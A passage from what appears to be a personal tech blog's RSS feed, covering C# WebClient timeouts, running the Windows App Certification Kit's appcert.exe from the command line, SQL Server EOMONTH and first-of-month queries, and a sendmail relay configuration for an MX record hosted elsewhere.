<p>In .NET Framework, <code>HttpWebRequest.Timeout</code> has no effect on asynchronous requests, and <code>DownloadStringAsync</code>, <code>DownloadFileAsync</code> and their <code>TaskAsync</code> versions run on <code>BeginGetResponse</code>. In PowerShell 7, <code>DownloadStringTaskAsync</code> respected a 3-second timeout in my test. On 5.1, use synchronous methods or <code>HttpClient</code>.</p>
<h2>C# WebClient timeout</h2>
<p>On .NET 6+, Microsoft recommends <code>HttpClient</code>:</p>
<pre><code class="language-csharp">using var http = new HttpClient { Timeout = TimeSpan.FromSeconds(30) };
try
{
    Console.WriteLine(await http.GetStringAsync(url));
}
catch (TaskCanceledException ex) when (ex.InnerException is TimeoutException)
{
    Console.WriteLine(&quot;Timed out&quot;);
}
</code></pre>
<p>Legacy code stuck on <code>WebClient</code>:</p>
<pre><code class="language-csharp">class TimeoutWebClient : WebClient
{
    public int TimeoutMs { get; set; } = 30_000;

    protected override WebRequest GetWebRequest(Uri address)
    {
        var request = base.GetWebRequest(address);
        request.Timeout = TimeoutMs;
        if (request is HttpWebRequest http) http.ReadWriteTimeout = TimeoutMs;
        return request;
    }
}
</code></pre>
<p>On .NET 6+, add <code>#pragma warning disable SYSLIB0014</code>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Windows App Certification Kit: run appcert.exe from the command line</title>
      <link>https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/</link>
      <guid isPermaLink="true">https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/</guid>
      <pubDate>Tue, 08 Nov 2016 00:00:00 GMT</pubDate>
      <description>Run the Windows App Certification Kit from the command line when its window fails to start: appcert.exe reset and test, the package full name, report.xml.</description>
      <content:encoded><![CDATA[<p>In 2016 I tested a UWP app before sending it to the Store, and on Windows Server 2016 the Windows App Certification Kit (WACK) window didn&#39;t even open:</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image1-480.avif 480w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image1-480.webp" alt="The UI workflow of Windows App Certification Kit is not supported on this OS version." width="480" height="163" style="aspect-ratio:480/163" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image1-480.webp 480w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<blockquote>
<p>The UI workflow of Windows App Certification Kit is not supported on this OS version.</p>
</blockquote>
<p>The command-line version, <code>appcert.exe</code>, works there. It runs the same tests, and it&#39;s what you need on a build server anyway.</p>
<pre><code class="language-bat">:: Command Prompt opened as administrator
cd /d &quot;C:\Program Files (x86)\Windows Kits\10\App Certification Kit&quot;

:: Microsoft&#39;s docs run reset before every test
appcert.exe reset

:: Test a package file that isn&#39;t installed
appcert.exe test -appxpackagepath &quot;C:\build\MyApp_1.0.0.0_x64.msix&quot; ^
    -reportoutputpath &quot;C:\build\report.xml&quot;
</code></pre>
<p>The kit comes with the Windows SDK, and <code>C:\Program Files (x86)\Windows Kits\10\App Certification Kit\</code> is its default folder. <code>appcert.exe /?</code> lists all the parameters.</p>
<h2>Test an installed app by its package full name</h2>
<p>That&#39;s how I did it in 2016: install the package, then pass its full name.</p>
<ol>
<li>Install the package. Visual Studio puts the <code>Add-AppDevPackage.ps1</code> script in the package&#39;s <code>_Test</code> folder under <code>AppPackages</code>: right-click it and choose Run with PowerShell.</li>
</ol>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image2-480.avif 480w, https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image2.avif 733w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image2-480.webp" alt="Add-AppDevPackage.ps1 in AppPackages\Greetings_2.2.0.0_Test: Run with PowerShell" width="733" height="245" style="aspect-ratio:733/245" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image2-480.webp 480w, https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image2.webp 733w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<ol start="2">
<li>Find the <code>PackageFullName</code>:</li>
</ol>
<pre><code class="language-powershell">Get-AppxPackage -Name &quot;*Greets*&quot;
</code></pre>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image3-480.avif 480w, https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image3.avif 769w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image3-480.webp" alt="Get-AppxPackage output: PackageFullName of the app" width="769" height="148" style="aspect-ratio:769/148" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image3-480.webp 480w, https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image3.webp 769w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<ol start="3">
<li>Run the test with that name:</li>
</ol>
<pre><code class="language-bat">appcert.exe reset
appcert.exe test ^
    -packagefullname &quot;1257MixVlad.Greets_2.2.0.0_x64__v53m0nncvwpbt&quot; ^
    -reportoutputpath &quot;C:\build\report.xml&quot;
</code></pre>
<p>I kept it in a bat file next to the package:</p>
<pre><code class="language-bat">@echo off
set KIT=C:\Program Files (x86)\Windows Kits\10\App Certification Kit
set PKG=1257MixVlad.Greets_2.2.0.0_x64__v53m0nncvwpbt
set REPORT=%~dp0report.xml

:: Delete the old report: the kit may refuse to overwrite it,
:: and you won&#39;t read stale results
del &quot;%REPORT%&quot; 2&gt;nul

&quot;%KIT%\appcert.exe&quot; reset
&quot;%KIT%\appcert.exe&quot; test -packagefullname &quot;%PKG%&quot; -reportoutputpath &quot;%REPORT%&quot;
pause
</code></pre>
<p><code>%~dp0</code> is the folder of the bat file and already ends with a backslash. The report path must end in <code>.xml</code>, otherwise the kit rejects it.</p>
<p>For a desktop app with an installer, Microsoft&#39;s docs give this command:</p>
<pre><code class="language-bat">appcert.exe test -apptype desktop -appusage peruser ^
    -setuppath &quot;C:\build\setup.exe&quot; ^
    -reportoutputpath &quot;C:\build\report.xml&quot;
</code></pre>
<h2>Read the report</h2>
<p>The root element <code>REPORT</code> has an <code>OVERALL_RESULT</code> attribute: <code>PASS</code>, <code>WARNING</code> or <code>FAIL</code>. Each test is a <code>TEST</code> element inside <code>REQUIREMENTS/REQUIREMENT</code> with its result in <code>RESULT</code>. In PowerShell:</p>
<pre><code class="language-powershell">[xml]$report = Get-Content -Raw &quot;C:\build\report.xml&quot;
$report.REPORT.OVERALL_RESULT

# Tests that didn&#39;t pass
$tests = $report.SelectNodes(&#39;/REPORT/REQUIREMENTS/REQUIREMENT/TEST&#39;)
foreach ($test in $tests) {
    $result = $test.SelectSingleNode(&#39;RESULT&#39;)
    if ($result -and $result.InnerText.Trim() -ne &#39;PASS&#39;) {
        &#39;{0}: {1}&#39; -f $test.GetAttribute(&#39;NAME&#39;), $result.InnerText.Trim()
    }
}
</code></pre>
<p>The kit also saves an HTML copy of the report with the same name in <code>%LOCALAPPDATA%\Microsoft\AppCertKit\</code>.</p>
<h2>On a build server</h2>
<ul>
<li>Run as administrator.</li>
<li>The docs require an active user session: a service may start the kit only inside a logged-in user&#39;s session, not in Session 0. If the kit fails on a build agent installed as a Windows service, run the agent as a regular process under a logged-in user. The same page says newer kits can run in automated testing without an interactive session, so try your version first.</li>
<li>Turn on Developer Mode in Windows settings: it&#39;s in the kit&#39;s prerequisites.</li>
<li>Performance test thresholds assume a low-power computer, so a fast build server can pass tests a weak laptop fails. Microsoft recommends testing on a low-power computer.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>EOMONTH in SQL Server: last and first day of the month</title>
      <link>https://koz.tv/posts/start-of-month-from-date-in-ms-sql-opposite-to-eomonth-function/</link>
      <guid isPermaLink="true">https://koz.tv/posts/start-of-month-from-date-in-ms-sql-opposite-to-eomonth-function/</guid>
      <pubDate>Sat, 08 Oct 2016 00:00:00 GMT</pubDate>
      <description>EOMONTH syntax and examples for the last day of the current, previous and next month, plus four ways to get the first day of the month in SQL Server.</description>
      <content:encoded><![CDATA[<p><code>EOMONTH</code> (end of month) returns the last day of the month. SQL Server has no built-in beginning-of-month function like <code>SOMONTH</code>, so for the first day I use <code>DATEFROMPARTS</code> (or <code>DATETRUNC</code> on SQL Server 2022+):</p>
<pre><code class="language-sql">DECLARE @d datetime = &#39;2026-11-04T15:30:00&#39;;

SELECT EOMONTH(@d);                           -- 2026-11-30
SELECT DATEFROMPARTS(YEAR(@d), MONTH(@d), 1); -- 2026-11-01
</code></pre>
<h2>EOMONTH function syntax</h2>
<pre><code class="language-sql">EOMONTH ( start_date [ , month_to_add ] )
</code></pre>
<ul>
<li><code>start_date</code> — a <code>date</code>, <code>datetime</code>, <code>datetime2</code> or a string that converts to a date.</li>
<li><code>month_to_add</code> — optional integer. EOMONTH shifts the date by that many months first, then takes the last day. Negative values go back.</li>
<li>The result is always <code>date</code>, whatever type you pass in. The time part is dropped.</li>
</ul>
<p>EOMONTH appeared in SQL Server 2012 and is available in Azure SQL Database, Azure SQL Managed Instance, Azure Synapse and Microsoft Fabric. On 2008 and older the replacement is <code>DATEADD(day, -1, DATEADD(month, DATEDIFF(month, 0, @d) + 1, 0))</code>, which returns <code>datetime</code>.</p>
<h2>Last day of the current, previous and next month</h2>
<pre><code class="language-sql">SELECT EOMONTH(GETDATE())     AS this_month,  -- 2026-11-30
       EOMONTH(GETDATE(), -1) AS prev_month,  -- 2026-10-31
       EOMONTH(GETDATE(), 1)  AS next_month;  -- 2026-12-31
</code></pre>
<p>The comments show results for November 4, 2026. Leap years are handled: <code>EOMONTH(&#39;2024-02-10&#39;)</code> returns <code>2024-02-29</code>.</p>
<h2>First day of the month in SQL Server</h2>
<p>All four return November 1, 2026, but the types differ:</p>
<pre><code class="language-sql">DECLARE @d datetime = &#39;2026-11-04T15:30:00&#39;;

-- date, SQL Server 2012+
SELECT DATEFROMPARTS(YEAR(@d), MONTH(@d), 1);
SELECT DATEADD(day, 1, EOMONTH(@d, -1));

-- same type as @d, SQL Server 2022+
SELECT DATETRUNC(month, @d);

-- datetime, any version
SELECT DATEADD(month, DATEDIFF(month, 0, @d), 0);
</code></pre>
<ul>
<li><code>DATEFROMPARTS</code> is the most readable, so it&#39;s my default.</li>
<li><code>DATEADD(day, 1, EOMONTH(@d, -1))</code> is the day after the end of the previous month. Handy when the query already uses EOMONTH.</li>
<li><code>DATETRUNC(month, @d)</code> works in SQL Server 2022, Azure SQL Database, Managed Instance and Fabric. It keeps the input type: <code>datetime</code> stays <code>datetime</code>, <code>date</code> stays <code>date</code>, a string literal becomes <code>datetime2(7)</code>. It doesn&#39;t need compatibility level 160: I ran it on a database at level 100.</li>
<li><code>DATEADD(month, DATEDIFF(month, 0, @d), 0)</code> is the classic trick from before SQL Server 2012. <code>0</code> means 1900-01-01: count whole months since then and add them back.</li>
</ul>
<p>First day of the previous and next month:</p>
<pre><code class="language-sql">DECLARE @d datetime = &#39;2026-11-04T15:30:00&#39;;

-- first day of the previous month: 2026-10-01
SELECT DATEADD(month, -1, DATEFROMPARTS(YEAR(@d), MONTH(@d), 1));

-- first day of the next month: 2026-12-01
SELECT DATEADD(day, 1, EOMONTH(@d));
</code></pre>
<p>More <code>DATEADD</code> examples are in <a href="https://koz.tv/posts/sql-query-for-todays-date-minus-year-month-day-or-minute/">SQL query for today&#39;s date minus year, month, day or minute</a>.</p>
<h2>Group by month</h2>
<pre><code class="language-sql">SELECT DATEFROMPARTS(YEAR(OrderDate), MONTH(OrderDate), 1) AS MonthStart,
       SUM(Amount) AS Total
FROM dbo.Orders
GROUP BY DATEFROMPARTS(YEAR(OrderDate), MONTH(OrderDate), 1)
ORDER BY MonthStart;
</code></pre>
<p>On SQL Server 2022 <code>GROUP BY DATETRUNC(month, OrderDate)</code> is shorter. <code>GROUP BY EOMONTH(OrderDate)</code> works too if you want each month labeled by its last day.</p>
<h2>Pitfall: <code>&lt;= EOMONTH</code> on a datetime column</h2>
<p>EOMONTH returns a <code>date</code>. Compared with a <code>datetime</code> column, it turns into midnight of the last day. If <code>OrderDate</code> has a time part, <code>OrderDate &lt;= EOMONTH(@d)</code> loses everything after 00:00 on that day. On my test table it dropped an order placed on October 31 at 18:45. Use a half-open range:</p>
<pre><code class="language-sql">DECLARE @d date = &#39;2026-10-15&#39;;

SELECT SUM(Amount) AS Total
FROM dbo.Orders
WHERE OrderDate &gt;= DATEFROMPARTS(YEAR(@d), MONTH(@d), 1)
  AND OrderDate &lt;  DATEADD(day, 1, EOMONTH(@d));
</code></pre>
<p>The range also works with an index on <code>OrderDate</code>. With this index the plan shows an Index Seek:</p>
<pre><code class="language-sql">CREATE INDEX IX_Orders_OrderDate
    ON dbo.Orders (OrderDate) INCLUDE (Amount);
</code></pre>
<p><code>WHERE EOMONTH(OrderDate) = &#39;2026-10-31&#39;</code> wraps the column in a function, and the same index is read in full (Index Scan). Without <code>INCLUDE (Amount)</code> the optimizer scanned my whole 500,000-row table even with the range: fetching <code>Amount</code> for each of the month&#39;s roughly 6,000 rows (Key Lookup) cost more.</p>
<h2>SOMONTH: a helper function like EOMONTH</h2>
<p>In 2016 I wrote a <code>SOMONTH</code> function for this. It had a <code>datetime</code> parameter, which failed on dates before 1753, and an extra <code>datetime</code> variable. Fixed version:</p>
<pre><code class="language-sql">CREATE OR ALTER FUNCTION dbo.SOMONTH (@d date)
RETURNS date
AS
BEGIN
    RETURN DATEFROMPARTS(YEAR(@d), MONTH(@d), 1);
END;
</code></pre>
<p><code>CREATE OR ALTER</code> needs SQL Server 2016 SP1 or later; on older versions use <code>CREATE FUNCTION</code>. Call it with the schema name: <code>SELECT dbo.SOMONTH(GETDATE());</code></p>
<h3>Scalar functions in GROUP BY are slow</h3>
<p>Before SQL Server 2019 a scalar UDF runs once per row and forces a serial plan. SQL Server 2019 added scalar UDF inlining at compatibility level 150 and above: the optimizer pastes the function body into the query. But a UDF called in <code>GROUP BY</code> or <code>ORDER BY</code> is not inlined. I checked on SQL Server 2022: with <code>GROUP BY dbo.SOMONTH(OrderDate)</code> the plan still calls the function and can&#39;t go parallel.</p>
<p>Compute the month in <code>CROSS APPLY</code> and group by the resulting column. At compatibility level 150 and above this gets inlined:</p>
<pre><code class="language-sql">SELECT m.MonthStart, SUM(o.Amount) AS Total
FROM dbo.Orders AS o
CROSS APPLY (SELECT dbo.SOMONTH(o.OrderDate) AS MonthStart) AS m
GROUP BY m.MonthStart;
</code></pre>
<p>On big tables, or on versions before 2019, skip the function and write <code>DATEFROMPARTS</code> inline as in the grouping example. Inlining doesn&#39;t fix <code>WHERE dbo.SOMONTH(OrderDate) = ...</code> either: the column is still wrapped in a function, so filter by a date range.</p>
<p>To check whether SQL Server can inline your function:</p>
<pre><code class="language-sql">SELECT is_inlineable
FROM sys.sql_modules
WHERE object_id = OBJECT_ID(&#39;dbo.SOMONTH&#39;);  -- 1
</code></pre>
]]></content:encoded>
    </item>
    <item>
      <title>Sendmail config when MX record points to another server</title>
      <link>https://koz.tv/posts/sendmail-user-unknown-error/</link>
      <guid isPermaLink="true">https://koz.tv/posts/sendmail-user-unknown-error/</guid>
      <pubDate>Sat, 21 May 2016 00:00:00 GMT</pubDate>
      <description>If your domain mail is hosted on mail server in a different domain, you should tell your sendmail about it. Otherwise if you try to send a mail to a user…</description>
      <content:encoded><![CDATA[<p>If your domain mail is hosted on mail server in a different domain, you should tell your sendmail about it. Otherwise if you try to send a mail to a user in your local domain, you will get an error from sendmail at <strong>/vat/log/mail.log</strong>:</p>
<p><strong><em>User unknown.</em></strong></p>
<p>It means that sendmail is trying to find user, that is mentioned in a message, on your local server and can’t find that user, because we use mail server that is hosted on different IP-address. To solve this problem we should tell sendmail to search for mail users with our domain name on the remote server.</p>
<p>Open <strong>/etc/mail/sendmail.mc</strong> for edit:</p>
<pre><code class="language-bash">sudo nano /etc/mail/sendmail.mc
</code></pre>
<p>Add this two lines to the end of the file:</p>
<pre><code>define(`MAIL_HUB&#39;, `your.domain.com.&#39;)dnl
define(`LOCAL_RELAY&#39;, `your.domain.com.&#39;)dnl
</code></pre>
<p>Press “<strong>Ctrl + X</strong>” when you are done and answer “<strong>Y</strong>” for question about saving a file.</p>
<p>Now we should reload sendmail service:</p>
<pre><code class="language-bash">service sendmail reload
</code></pre>
<p>And try to send mail again. If you have done everything right, emails should go through remote mail server without errors.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
